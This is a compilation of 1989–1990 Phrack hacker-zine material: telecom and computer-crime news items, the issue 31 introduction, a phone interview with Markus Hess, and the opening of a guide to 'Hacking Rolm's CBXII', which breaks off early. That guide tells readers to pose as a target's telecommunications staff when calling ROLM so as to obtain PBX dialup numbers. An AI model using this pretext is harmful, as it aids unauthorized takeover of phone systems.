It is important that you act now. The bureaucrats already have it in there mind that modem users should subsidize the phone company and are now listening to public comment. Please stand up and make it clear that we will not stand for any government restriction on the free exchange of information.

The people to write to about this situation are:

Chairman of the FCC

1919 M Street N.W.

Washington, D.C. 20554

Chairman, Senate Communication Subcommittee

SH‑227 Hart Building

Washington, D.C. 20510

Chairman, House Telecommunication Subcommittee

B‑331 Rayburn Building

Washington, D.C. 20515

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Here is a sample letter:

Dear Sir,

Please allow me to express my displeasure with the FCC proposal which would authorize a surcharge for the use of modems on the telephone network. This regulation is nothing less than an attempt to restrict the free exchange of information among the growing number of computer users. Calls placed using modems require no special telephone company equipment, and users of modems pay the phone company for use of the network in the form of a monthly bill. In short, a modem call is the same as a voice call and therefore should not be subject to any additional regulation.

________________________________________

FCC Orders Refunds to Long‑Distance Companies November 30, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Associated Press

WASHINGTON ‑‑ Local telephone companies may have to refund as much as $75 million to long‑distance companies and large private‑line business customers, the Federal Communications Commission says.

Pacific Northwest Bell in Idaho is one of the 15 companies named. The local phone companies accumulated overcharges between 1985 and 1988 under FCC guidelines that allowed prices of these high capacity private‑line services to exceed the phone companies' costs of providing the services.

The FCC ordered a refund as it considered challenges to the special pricing scheme, which the local phone companies provide for long‑distance companies or large business customers. The commission voted 4‑0 that the scheme was legal during the 1985‑88 period, when the high prices were designed to keep too many customers from switching from the regular public network to private lines, but that market conditions no longer justify continuation of the special pricing. The commission said it expects the local phone companies to refrain from requesting such special prices in the future.

While examining the challenges to the special pricing scheme, the commission said it found that local phone companies in some cases had charged more than allowed under the commission's guidelines. Therefore, the companies must refund those charges, which could amount to as much as $75 million, the commission said. The FCC said the amount of the refunds will not be known until the local phone companies file detailed reports with the commission. The companies have 40 days to make their filings.

The companies found not to be in compliance with the commission's pricing guidelines from October 1, 1985 to December 31, 1986 were:

‑ Diamond State

‑ South Central Bell in Alabama

‑ Southwestern Bell in Missouri and Oklahoma

‑ Northwestern Bell in Iowa, Minnesota, Nebraska, and North Dakota ‑ Pacific Northwest Bell in Idaho

Pacific Northwest Bell is now called U.S. West Communications and is the phone company that serves most Seattle‑area residents.

Companies found not complying from January 1, 1987 to December 31, 1988 were:

‑ Ohio Bell

‑ Wisconsin Bell

‑ Southern Bell in North Carolina and South Carolina

‑ South Central Bell in Mississippi and Tennessee

‑ Pacific Bell

‑ Nevada Bell

‑ Southwestern Bell

‑ Mountain Bell

‑ Northwestern Bell

‑ Cincinnati Bell

________________________________________

AT&T v. Intellicall: Another Lawsuit November 8, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dallas ‑‑ AT&T filed a lawsuit charging that a Texas‑based corporation equips its pay telephones to illegally obtain billing information owned by AT&T.

The lawsuit asks for $2 million in punitive damages and an undetermined amount in actual damages from Intellicall Inc., headquartered in Carrollton, Texas. It also asks the U.S. District Court in Dallas to order Intellicall to stop its unauthorized use of AT&T billing information.

At issue is how Intellicall pay phones determine the validity of calling card numbers for billing purposes. AT&T contends that Intellicall pay phones are designed and programmed by Intellicall to reach into and obtain the information directly from AT&T's card validation system.

That system, called Billing Validation Application (BVA), is a part of AT&T's network facilities. Before AT&T completes a call that will be charged to an AT&T Card, its validation system verifies that the number provided by the customer is currently valid.

Based on contractual arrangements made before the 1984 breakup of the Bell System, regional Bell telephone companies also use the validation system. AT&T does not permit competitors such as Intellicall to use the system because the system was built by AT&T and contains valuable competitive information.

AT&T alleges that when callers use an AT&T Card or Bell company calling card at an Intellicall pay phone, the pay phone automatically places a separate call through AT&T or local Bell facilities to a pre‑programmed telephone number so that AT&T's validation system will automatically check the card number.

If the card number is valid, the Intellicall pay phone then puts through the original customer call.

"As a result of these practices," the lawsuit says, "Intellicall surreptitiously and without authorization obtains validation data from AT&T, obtains fraud control for calls by its customers without having to invest in fraud control facilities or otherwise purchase fraud control services, imposes costs on AT&T, and... obtains an unfair advantage over its competitors providing pay telephone and/or long‑distance service, including AT&T."

Although AT&T does not authorize other companies to accept the AT&T Card and does not permit competitors to use its validation system, the lawsuit notes that Intellicall could purchase validation services for Bell company calling cards from other companies.

AT&T said it notified Intellicall that it was violating AT&T's proprietary rights and gave Intellicall every reasonable opportunity to halt the fraudulent validation practice. Only after Intellicall persisted in its unfair practices did AT&T decide to take legal action.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

AT&T v. Intellicall: The Lawsuit Is Over November 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dallas ‑‑ AT&T and Intellicall, Inc. today announced the settlement of a lawsuit filed by AT&T against Intellicall, seeking damages and an injunction. AT&T had accused Intellicall of unauthorized access to AT&T's calling card validation system.

The settlement also covered potential counterclaims which Intellicall intended to file against AT&T.

In the agreement, Intellicall acknowledged AT&T's proprietary rights in the Billing Validation Application system, and agreed to make modifications in its licensed pay telephone software to safeguard against unauthorized access and use of the AT&T system.

The terms of the agreement include an undisclosed payment by Intellicall to AT&T to contribute to the establishment of a compliance program which will permit AT&T to monitor unauthorized access to its billing systems.

"AT&T is pleased that a settlement recognizing AT&T's proprietary right to the validation system was reached so quickly," said Gerald Hines, director of AT&T Card Services.

Phrack World News XXX Part 2

==Phrack Inc.==

Volume Three, Issue 30, File #12 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXX/Part 2 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN Special Thanks to Dark OverLord PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

U.S. Inquiry Into Theft From Apple November 19, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

A former Apple Computer Inc. engineer has said he was served with a grand jury subpeona and told by an FBI agent that he is a suspect in a theft of software used by the company to design its Macintosh computer.

In June a group identifying itself as the Nu Prometheus League mailed copies of computer disks containing the software to several trade magazines and software developers.

Grady Ward, age 38, who worked for Apple until January (1989), said that he received the subpeona from an FBI agent, who identified himself as Steven E. Cook.

Ward said the agent told him that he was one of five suspects drawn from a computerized list of people who had access to the material. The agent said the five were considered the most likely to have taken the software.

A spokesman for the FBI in San Francisco said the agency would not comment on a continuing investigation.

Ward said he had told the FBI he was innocent but would cooperate with the investigation.

The theft of Apple's software has drawn a great deal of attention in Silicon Valley, where technology and trade‑secret cases have highlighted the crucial role of skilled technical workers and the degree to which corporations depend on their talents.

The case is unusual because the theft was apparently undertaken for philosophical reasons and not for personal profit.

There is no indication of how many copies of the program were sent by Nu Prometheus.

Software experts have said the programs would be useful to a company trying to copy the distinctive appearance of the Macintosh display, but it would not solve legal problems inherent in attempting to sell such a computer. Apple has successfully prevented many imitators from selling copies of its Apple II and Macintosh computers.

The disks were accompanied by a letter that said in part: "Our objective at Apple is to distribute everything that prevents other manufacturers from creating legal copies of the Macintosh. As an organization, the Nu Prometheus League has no ambition beyond seeing the genius of a few Apple employees benefit the entire world."

The group said it had taken its name from the Greek god who stole fire from the gods and gave it to man.

The letter said the action was partially in response to Apple's pending suit against Microsoft Corp. and Hewlett‑Packard Co., accusing them of copying the "look and feel" ‑‑ the screen appearance ‑‑ of the Macintosh.

Many technology experts in Silicon Valley believe Apple does not have special rights to its Macintosh technology because most of the features of the computer are copied from research originally done at Xerox Corp.'s Palo Alto Research Center during the 1970s. The Macintosh was not introduced until 1984.

The theft came to light in June after Macweek, a trade magazine, published the letter from Nu Prometheus.

At the time the theft was reported, executives at Apple, based in Cupertino, California, said they took the incident seriously.

A spokeswoman said that Apple would not comment on details of the investigation.

Ward said he had been told by the FBI agent that the agency believed Toshiba Corp. had obtained a copy of the software and that copies of the program had reached the Soviet Union.

The software is not restricted from export to the Communist bloc. Its main value is commercial as an aid in copying Apple's technology.

Ward said the FBI agent would not tell him how it believed Toshiba had obtained a copy of the software.

Ward also said the FBI agent told him that a computer programmer had taken a copy of the software to the Soviet Union.

Ward said the FBI agent told him he was considered a suspect because he was a "computer hacker," had gone to a liberal college and had studied briefly at the Massachusetts Institute of Technology's Artificial Intelligence Laboratory.

The term "hacker" was first used at MIT to describe young programmers and hardware designers who mastered the first interactive computers in the 1960s.

Ward is the second person to be interviewed by the FBI in the investigation of the theft.

Earlier Charles Farnham, a businessman in San Jose, California, said two FBI agents came to his office, but identified themselves as reporters for United Press International.

Farnham, a Macintosh enthusiast, has disclosed information about unannounced Apple products, said that after asking him to come outside his office, the men said they were FBI agents and proceeded to question him about Nu Prometheus group. He said he was not told that he was a suspect in the case.

UPI has complained to the FBI because of the incident.

Ward said he had joined Apple in 1979 and left last January to start his own company, Illumind. He sells computerized dictionaries used as spelling checkers and pronunciation guides.

He said the FBI told him that one person who had been mailed a copy of the Apple software was Mitchell Kapor, founder of Lotus Development Corporation.

Kapor returned his copy of the disk unopened, Ward said the agent told him.

Ward said the FBI had also said he was suspect because he had founded a group for the gifted known as Cincinnatus, which the agent said had roots in Greek mythology that were similar to the Nu Prometheus group.

Ward said the FBI was mistaken, and Cincinnatus is a reference from ancient Roman history, not Greek mythology.

________________________________________

Data‑Destroying Disc Sent To European Computer Users December 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

A computer disk containing a destructive program known as a Trojan horse has been mailed to computer users in at least four European countries.

It was not clear if any copies of the program had been mailed to people in the United States.

The program, which threatens to destroy data unless a user pays a license fee to a fictitious company in Panama City, Panama, may be a widespread attempt to vandalize thousands of personal computers, several computer experts who have studied the program said Tuesday, December 12.

Some computer experts said the disk was mailed by a "PC Cyborg" company to subscribers of personal computer trade magazines, apparently using mailing lists.

The disk is professionally packaged and accompanied by a brochure that describes it as an "Aids Information Disk," the computer experts said. But when it is installed in the user's computer it changes several files and hides secret programs that later destroy data on the computer disk.

Paul Holbrook, a spokesman for the Computer Emergency Response Team, a U.S. government‑financed security organization in Pittsburgh, said his group had confirmed the existence of the program, but did not know how widely it had spread.

Trojan horses are programs hidden in software that secretly insert themselves in a computer when the software masking them is activated. They are different from other secret programs like viruses and worms because they are not infectious: They do not automatically copy themselves.

A licensing agreement that accompanies the disk contains threatening information.

It reads in part: "In case of your breach of this license, PC Cyborg reserves the right to take any legal action necessary to recover any outstanding debts payable to the PC Cyborg Corporation and to use program mechanisms to ensure termination of your use of these programs. The mechanisms will adversely affect other programs on your microcomputer."

When it destroys data, the program places a message on the screen that asks users to send $387 to a Panama City address.

John McAfee, a computer security consultant in Santa Clara, California, said the program had been mailed to people in England, West Germany, France and Italy.

________________________________________

The Executive Computer: From Espionage To Using A Printer October 27, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Peter H. Lewis (New York Times)

Those executives who pay attention to computers are more likely to worry about grand issues like productivity and small ones like how to make their personal printers handle envelopes than whether the KGB has penetrated their companies. In a fresh crop of books, they will find lessons on all these matters.

Perhaps the most entertaining of the new books is "The Cuckoo's Egg" ($19.95, Doubleday), by Dr. Clifford Stoll, an astronomer.

Because he was the rookie in the Lawrence Berkeley Laboratories in California, he was asked to track down and fix a glitch in the lab's accounting software, which had found a 75‑cent discrepancy when it tried to balance the books.

"First‑degree robbery, huh?" was Stoll's first reaction. But by the time he was done nearly a year later, he had uncovered a West German spy ring that had cracked the security of American military and research computer networks, gathering information that it sold to Moscow.

Beyond the entertainment value of this cat‑and‑mouse hunt, the book has lessons for any corporate computer user. The message is clear: Most companies are irresponsible about security.

The ease with which the "hacker" penetrated even military installations was astonishing, but not as astonishing as the lack of concern by many of the victims.

"The Cuckoo's Egg" follows the hunt for the unknown intruder, who steals without taking and threatens lives without touching, using only a computer keyboard and the telephone system.

The detective is an eccentric who sleeps under his desk, prefers bicycles to cars, and suddenly finds himself working with the Federal Bureau of Investigation, the Central Intelligence Agency and the National Security Agency.

Although the criminal and the hunter deal in the esoteric realm of computer code and data encryption, Stoll makes the technology accessible.

He also discovers that navigating the global electronic grid is less difficult than navigating the bureaucracies of various government agencies.

And while he was a whiz at tracing the cuckoo's electronic tracks from Berkeley to Okinawa to Hannover, West Germany, Stoll reveals himself to be helplessly lost on streets and highways and befuddled by such appliances as a microwave oven.

Besides the more than 30 academic, military and private government installations that were easy prey for the spies, the victims included Unisys, TRW, SRI International, the Mitre Corporation and Bolt Beranek & Newman Inc. ‑some of the very companies that design, build and test computer systems for the government.

"No doubt about it, the shoemaker's kids are running around barefoot," Stoll writes.

One leading character in the book is Dr. Bob Morris, chief scientist for the National Security Agency and the inventor of the security for the Unix operating system.

An epilogue to the book, dealing with an unrelated computer crime, recounts the discovery that it was Morris's son who wrote the rogue program that shut down a national network for several days last year.

In "The Macintosh Way" ($19.95, Scott, Foresman & Co.), Guy Kawasaki, a former Apple Computer Inc. executive who is now president of a software company, has written a candid guide about management at high‑technology companies.

Although his book is intended for those who make and market computer goods, it could prove helpful to anyone who manages a business.

________________________________________

Dialing Away U.S. Area Codes November 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Laure O'Brien (Telephony Magazine)

The current endangered species in the news may not be an animal at all. The number of available area codes in the United States is dwindling rapidly. Chicago consumed a new code on November 11, 1989 and and New Jersey will gobble up another one on January 1, 1990.

There are only nine codes left, and they are expected to be used up by 1995, said Robert McAlesse, North American Numbering Plan administrator and member of Bellcore's technical staff.

"In 1947 (Bellcore) started with 86 codes, and they projected exhaustion in 100 to 150 years. They were off by a few years," McAlesse said.

When the 152 available codes are exhausted, Bellcore will use a new plan for creating area codes.

A total of 138 codes already are assigned. Five of the remaining 14 codes are reserved for service access codes, and 9 are for geographic area codes.

Under the current plan, a 0 or a 1 is used as the second digit while the first and last digits can range between 2 and 9. Under the new plan the first digit will be between 2 and 9 and the following two digits will be numbers between 0 and 9, McAlesse said.

The new plan will create 640 potential area codes, he said. Bellcore isn't predicting when the newly created codes will run out.

"The growth in new services and increase in the number of telephones are exhausting the codes. The biggest increases are cellular telephones, pagers, facsimile machines and new services that can have more than one number," McAlesse said.

The current unassigned codes include 210, 310, 410, 706, 810, 905, 909, 910 and 917. The Chicago area took the 708 code, and New Jersey will take 908.

In the Chicago metropolitan area, the suburbs were switched from the 312 area code to the new 708 code. Residents and businesses within the city limits retained the 312 code.

Illinois Bell started preparing for the change two years ago with the announcements alerting business customers to change stationary and business cards, said Gloria Pope, an Illinois Bell spokeswoman. Now the telco is targeting the residential market with billboard reminders and billing inserts.

The cost of technically preparing for the new code, including labor, is expected to reach $15 million. But Pope said that does not include mailings, public relations efforts and business packages designed to smooth out the transition. The telco will absorb the cost with budgeted funds, and no rate increase is expected, she said.

Modifying the network to recognize the new code started about six months ago with translation work. Every central office in the Chicago Metropolitan area was adapted with a new foreign‑area translator to accept the new code and route the calls correctly, said Audrey Brooks, area manager‑Chicago translations.

The long distance carriers were ready for the code's debut. AT&T, US Sprint and MCI changed their computer systems to recognize the new code before the Chicago deadline.

"We are anticipating a pretty smooth transfer," said Karen Rayl, U.S. Sprint spokeswoman.

Businesses will need to adjust their PBX software, according to AT&T technical specialist Craig Hoopman. "This could affect virtually every nationwide PBX," he said. Modern PBX's will take about 15 minutes to adjust while older switches could take four hours. In many cases, customers can make the changes themselves, he said.

________________________________________

A New Coating Thwarts Chip Pirates November 7, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

Several years ago, clever high‑technology pirates removed a chip from a satellite‑television descrambling device made by General Instrument Corporation, electronically siphoned out hidden decryption software and studied it to figure out a way to receive clear TV signals.

When the company later tried to protect the chips by coating them with epoxy, the pirates simply developed a solvent to remove the protective seal, and stole the software again.

Now government researchers at Lawrence Livermore National Laboratory, a weapons and energy research center in Livermore, California, have developed a special coating that protects the chip from attempts to pry out either the chip design or the information it contains. In the semiconductor industry, a competitor's chip design can be copied through a process called reverse engineering, which might include determining the design through an electron microscope or by dissolving successive layers of the chip with a solvent.

Already a number of government military and intelligence agencies are using the coating to protect circuits containing secure information. The government has qualified 13 U.S. chip makers to apply the coating to chips used by certain government agencies.

The Lawrence Livermore research, known as the Connoisseur Project, has developed a resin about the consistency of peanut butter that is injected into the cavity surrounding the chip after it has been manufactured. The coating is heated and cured; The chip is then sealed with a protective lid.

The special protective resin is opaque and resists solvents, heat, grinding and other techniques that have been developed for reverse engineering.

A second‑generation coating is being developed that will automatically destroy the chip when an attempt is made chemically to break through the protective layer.

Another project at the laboratory is exploring even more advanced protection methods that will insert ultra‑thin screens between the layers of a chip, making it harder to be penetrated.

________________________________________

U.S. Firm Gets Hungarian Telephone Contract December 5, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the St. Louis Post‑Dispatch (via New York Times News Service)

U.S. West Inc., one of the seven regional Bell telephone companies, announced that it had signed an agreement with Hungary to build a mobile cellular telephone system in Budapest.

The Hungarian cellular system will be the first such telephone network in Eastern Europe.

Because of the shortage of telephones in their country, Hungarians are expected to use cellular telephones for basic home service, as well as mobile communications.

For Hungary and the other Eastern European countries that have antiquated telephone systems, it will be faster and cheaper for the Government to deliver telephone service by cellular networks than it would be to rebuild the nation's entire telephone apparatus.

A cellular telephone network transmits calls on radio waves to small receiving antennas, called "cell" sites, that relay calls to local phone systems. The system to be built in Hungary will transmit calls from cellular phone to cellular phone and through the existing land‑based telephone network.

The system, which is scheduled to begin operation in the first quarter of 1991, will initially provide cellular communications to Budapest's 2.1 million residents. Eventually, the system will serve all of Hungary, a nation of 10.6 million.

Hungary has 6.8 telephone lines for every 100 people, according to The World's Telephones, a statistical compilation produced by AT&T. By comparison, the US has 48.1 lines for every 100 people.

________________________________________

1. Phone Fun (November/December) ‑‑ Some students at Columbia University in New York City have added a twist to that ancient annoyance, the chain letter. The students have taken advantage of the school's newly installed, $15 million IBM/Rolm phone system's ability not only to store messages like an answering machine, but also to take and receive messages and send them ‑‑ with comments ‑‑ to a third party.

Last spring, brothers Anil and Ajay Dubey, both seniors, recorded a parody of rapper Tone Loc's Top 10 single "Funky Cold Medina" and sent it to some buddies. Their friends then passed the recording along with comments, to some other pals, who passed it on to other friends... and so on, and so on, and so on. Eventually, the message ran more than ten minutes and proved so popular that the phone mail system became overloaded and was forced to shut down.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. Get a "Sprint" VISA Card Today (November 14, 1989) ‑‑ U.S. Sprint will begin mailing in December, a a Sprint VISA card, which will combine the functionality of a long distance calling card, a credit card and an ATM card. Sprint will market the card which will be issued by State Street Bank and Trust, in Boston.

Business travelers will receive a single bill that list all their travel related expenses: Hotel, meals and phone calls. While payment for the phone charges will be done through the regular Visa bill, call detail reports will appear on Sprint's standard FONcard bill. Taken from Communications Week.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. The Harpers Forum ‑‑ Harpers Magazine came up with an idea for how to gather information about the phreak/hack modem community. They set up shop on The Well (a public access Unix and bulletin board) and invited any and all hackers to join in their multiple discussion subboards.

The hackers involved were Acid Phreak, Bernie S., Cap'n Crunch, Cheshire Catalyst, Emmanuel Goldstein, Knight Lightning, Michael Synergy (of Reality Hackers Magazine), Phiber Optik, Piper, Sir Francis Drake, Taran King, and many old TAP subscribers.

The Well is accessible through CompuServe's data network. All charges for using The Well by hackers were absorbed by Harpers.

There were many people on The Well posing as hackers to try and add to the discussion, but it turns out that some of them like Adel Aide, were shoe salesmen. There were also a few security types, including Clifford Stoll (author of The Cuckoo's Egg), and a reporter or two like Katie Hafner (who writes a lot for Business Week).

The contents of the discussion and all related materials will be used in an article in an upcoming issue of Harpers Magazine.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

4. Phrozen Ghost has supposedly been arrested for crimes relating to hacking, telecommunications fraud, and drugs. No other details are known at this time. Information sent to PWN by Captain Crook.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

5. SurveillanceCon '89 ‑‑ Tuc, Susan Thunder, and Prime Suspect all attended a Security/Surveillance Convention in Washington DC recently at which both Tuc and Susan Thunder gave presentations about computer security. Tuc's presentation dealt largely with bulletin boards like Ripco in Chicago and newsletters like Phrack Inc. Audio cassettes from all the speakers at this convention are available for $9.00 each, however we at PWN have no information about who to contact to purchase these recordings.

________________________________________

31

- Introduction to Phrack 31 by DH

- Phrack Pro-Phile of Markus Hess by Markus Hess & PHz

- Hacking Rolm's CBXII by DH

- TAMS & Telenet Security by Phrack Accident

- The history of The Legion Of Doom by unknown

- Cosmos Overview by EBA

- Tymnet Security Memo by unknown

- PWN/Part01 by Phrack Accident

- PWN/Part02 by Phrack Accident

- PWN/Part03 by Phrack Accident

Introduction to Phrack 31

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #1 of 9

Issue XXXI Index

__________

P H R A C K 3 1

05/28\90

__________

Welcome to a new begining of Phrack Inc. Yes, Phrack is not dead. On the contrary, Phrack will and can't ever die. Phrack is more than just a technical newsletter that comes out every now and then, it's a symbol of our hacking history. Whether, it's called Phrack or some other name, it will always be published for the same reasons:

1. Inform it's readers of current events and other related items of hacker interest.

2. Educate it's readers on all topics of shared common interests that may benefit the hacker at his hobby.

3. Remain an authority in the hacking world and an observer in the ever growing technical community.

4. Be open to anyone who wishes to submit an article for publication that will further the hacker's education.

Many things have happened since the last publication of Phrack. We at Phrack inc. will try to "shed some light" on the matters that have occured. And as for all these ridiculous rumors that have been spreading, let us speak the truth and be heard.

Hah. No my friends, Phrack is not dead..

‑‑DH (Editor)

Note: If you wish to contact Phrack inc. to submit a file, ask around for a Phrack inc. distribution site ‑‑ Then Email "Phrack inc." and be very very patient.

Note: Special thanks to T C, Phz, and others for wide

area distribution.

________________________________________

Phrack XXXI Table of Contents

=============================

31‑1. Introduction to Phrack 31 by DH (2K)

31‑2. Phrack Pro‑Phile of Markus Hess by PHz (6K)

31‑3. Hacking Rolm's CBXII by DH (15K)

31‑4. TAMS & Telenet Security by Phreak_Accident (7K)

31‑5. The history of The Legion Of Doom (10K) 31‑6. Cosmos Overview by EBA (52k)

31‑7. Tymnet Security Memo by Anonymous (9K)

31‑8. PWN/Part01 by Phreak_Accident (13K) 31‑9. PWN/Part02 by Phreak_Accident (17K) 31‑10. PWN/Part03 by Phreak_Accident (40K)

Phrack Pro-Phile of Markus Hess

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #2 of 10 ‑*[ P H R A C K # 3 1 P R O P H I L E ]*‑

‑*[ June 1, 1990 ]*‑

‑*[Phz]*‑

‑‑‑[ Markus Hess ]‑‑‑

Recently the Phrack editors had the opportunity to talk to Markus Hess in his tiny Hannover flat. This special edition of the Phrack Prophile details our conversation, as well as general background information about the German Hacker.

This Phrack Prophile is not in the same format as previous ones because of the nature of the profile. In the next issue, we will reform back to the orginal creator's format.

AGE: 26

HEIGHT: 5' 10"

HAIR COLOR: BROWN

EYES: BROWN

FROM: Hannover, West Germany

PAST EMPLOYMENT: Software developer in Hannover. PEOPLE: Stephen Winero, Walu Holland (Other CCC members) STRENGTHS: AT&T Unix, VAX, SunOs and BSD os's

Hess, most well known as the hacker who's exploits are detailed in Clifford Stoll's _The_Cuckoo's_Egg_, "is as paranoid on the telephone as he is on the computer." Although he was very reluctant to talk to us, we did manage to talk to him about hacking and _The_Cuckoo's_Egg_. Ringing Hanover..

RING

RING

RING

ANSWERED

HESS: Hallo?

PHRACK: Is this Markus Hess?

HESS: Yes.

PHRACK: Do you smoke Benson & Hedges?

(At this point we weren't sure it was actually him) HESS: Yes, who is this?

PHRACK: We are calling from the USA, we want to ask you some questions. We talk to hackers in the USA.

HESS: I won't have anything to do with hackers anymore. I have talked in court earlier this year.

PHRACK: Did you know you were in a novel about a hacker in the US? HESS: Novel? Yes, I know of a novel.

PHRACK: Have you read the book?

HESS: Yes I have read the book.

PHRACK: Is it all true? Is it all true? Do you think Cliff lied or tried to exaggerate in the book?

HESS: Yes, I think so.

HESS: Yes, He lied.

PHRACK: Have you ever talked to Stoll?

HESS: I have talked to him, but not privately. I don't want to talk about this.

PHRACK: Have you ever seen Cliff Stoll?

HESS: Yes I have seen him.

(We might think this from the back of the book)

PHRACK: He's goofy looking isn't he?

HESS: goofy? I don't understand.

PHRACK: Anyway, so you think he lied in the book?

HESS: Yes, he lied.

PHRACK: What did he lie about?

HESS: I don't want to talk about this.

PHRACK: Okay, are you in the Chaos Computer Club?

HESS: No, I won't have anything to do with hackers any more. PHRACK: Were you ever involved with them?

HESS: No. I was not in it.

PHRACK: Do you know anyone in it [the CCC]?

HESS: Yes. I really must go now.

PHRACK: Who do you know in it [the CCC]?

HESS: Stephen Winero.

PHRACK: Is that it?

HESS: I know Walu.

PHRACK: Hmm. Are you being watched?

HESS: I think so. I can not talk about this.

PHRACK: Were you scared of going to jail?

HESS: jail?

PHRACK: Prison, were you scared of going to prison?

HESS: I don't know.

PHRACK: What happened in your words at court?

HESS: In your words? I don't understand.

PHRACK: What happened in court?

HESS: I don't understand.

PHRACK: Forget it.

PHRACK: Do you still have your computer?

HESS: No. I don't have any computer here.

PHRACK: Did you think they were going to catch you?

HESS: No. I knew nothing of it.

PHRACK: Has any other hackers tried to contact you in the U.S.? HESS: No. You are the first to call.

PHRACK: So is it my understanding that Stoll lied in parts of the book? HESS: Lied? Yes he lied.

PHRACK: Why do you think he would lie?

HESS: I don't know.

PHRACK: Do you think he made you look destructive?

HESS: Yes. He made me look mean.

PHRACK: Are you? Mean that is?

(Chuckle)

HESS: No. He made me look like I was a criminal.

PHRACK: Why did you do it Markus?

HESS: Do what?

PHRACK: Hack all over the network like that?

HESS: I cannot answer.

PHRACK: Do they call you a liar in court?

HESS: Yes. They call me a liar.

PHRACK: What are you going to do now?

HESS: I don't understand.

PHRACK: Are you finished with hacking?

HESS: Yes, I have nothing to do with hackers.

PHRACK: Was someone helping you hack?

HESS: I cannot answer.

PHRACK: How come you cannot answer that question?

HESS: I cannot.

PHRACK: Yes, well, Many in the U.S. [hackers] don't like the Novel. PHRACK: What do you think of it?

HESS: It is not true.

HESS: I don't know.

PHRACK: Who taught you the EMACS hole?

HESS: I cannot say.

PHRACK: Then you must have been working with someone, correct? HESS: No, I cannot answer.

PHRACK: Is the police comming down on you hard?

HESS: police? I don't und...

PHRACK: Yeah, yeah. The law? Are they being hard on you.

HESS: Yes.

<SILENCE>

HESS: I must go now.

PHRACK: Can we call you later?

HESS: Umm, I don't know. No.

PHRACK: Why not?

HESS: I cannot answer.

PHRACK: What about in a couple of months?

HESS: Yes, in a couple of months you can call.

PHRACK: Your not moving are you?

(Knowing that Germans rarely ever move and their phone numbers never change this was a silly Q.)

HESS: No. I no move.

PHRACK: Okay, then we'll call you in a couple of months.

HESS: Okay. I must go.

PHRACK: Wait a second.

HESS: Yes?

PHRACK: Do you have anything to say to American Hackers?

HESS: No.

HESS: I have nothing to do with hackers.

PHRACK: Well, good luck.

HESS: Yes, you too.

<CLICK>

Unfortunately, our lack of German and Hess' weak English made communication difficult. He is a very paranoid person who was obviously uncomfortable talking to us.

Those of you that have read Stoll's book know that Hess was involved with hacks on American Military Computers, and indirectly involved with Computer Espionage and the KGB. Phrack strongly discourages trying to hack Military computers and particularly takes offense to computer espionage.

From the information we have gathered from him and by talking to him, we feel that Markus Hess wasn't as smart as Clifford Stoll portrayed him to be. We also feel that Markus was not working alone and that others were involved. This however we cannot be 100% sure because of our communication faults.

Hacking Rolm's CBXII

===Phrack Inc.===

Volume Three, Issue Thirty‑one, Phile #3 of 10

/\/\/\/\/\/\/\/\/\/\/\/\/\

/ *

\

/ Hacking Rolm's CBXII/9000 \

\ by DH /

/ 05/24/90 \

\ *

\/\/\/\/\/\/\/\/\/\/\/\/\/

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

IBM Rolm's CBXII/9000 is a very powerful machine. Powerful in the aspect that one has the switch(s) at his control. Controling switches means you can control the entire PBX environment (And it's users).

This file will not get technical. Basically, I'm writing this file on the HOW‑TO's of the internal works of CBXII and the basics of obtaining the dialups and account information need to access the machines. For further information on CBX's in general, read Epsilon's Phrack Phile on them, or consult Evil Jay's phile on OSL's.

Obtaining Dialups

‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

Obtaining dialups unfortunately is the hardest part of hacking CBXII's. (Yes, even harder than hacking them). There are several ways to obtain the dialups. I would say a good bit of CBX's are at universities and hospitals where they own their own switches. Most of the time you can determine if they have one by calling the Telecommunications Department of the target location. Or, another way is to check with ROLM. If you *KNOW* that a target location has a CBXxx machine, you can call ROLM's 800 wats line and say your with the Telecommunications Department and your looking for the DIALUP. Rolm has files on all their CBXxx's and the Dialups also. They might ask you for a NODE # for the dialup, and you should usually respond with what node you want (Since different nodes handle different areas of the PBX). Basically, nodes start at ONE and usually goto THREE or FOUR, depending on the size of the PBX. CBXxx's are greatly compatible of IBM Rolm's Phone‑Mail system (Which is a highly used and common voice mail system). This of course doesn't mean that every PHM (Phone‑Mail) system has a CBXxx attached. But it is generally a good start.

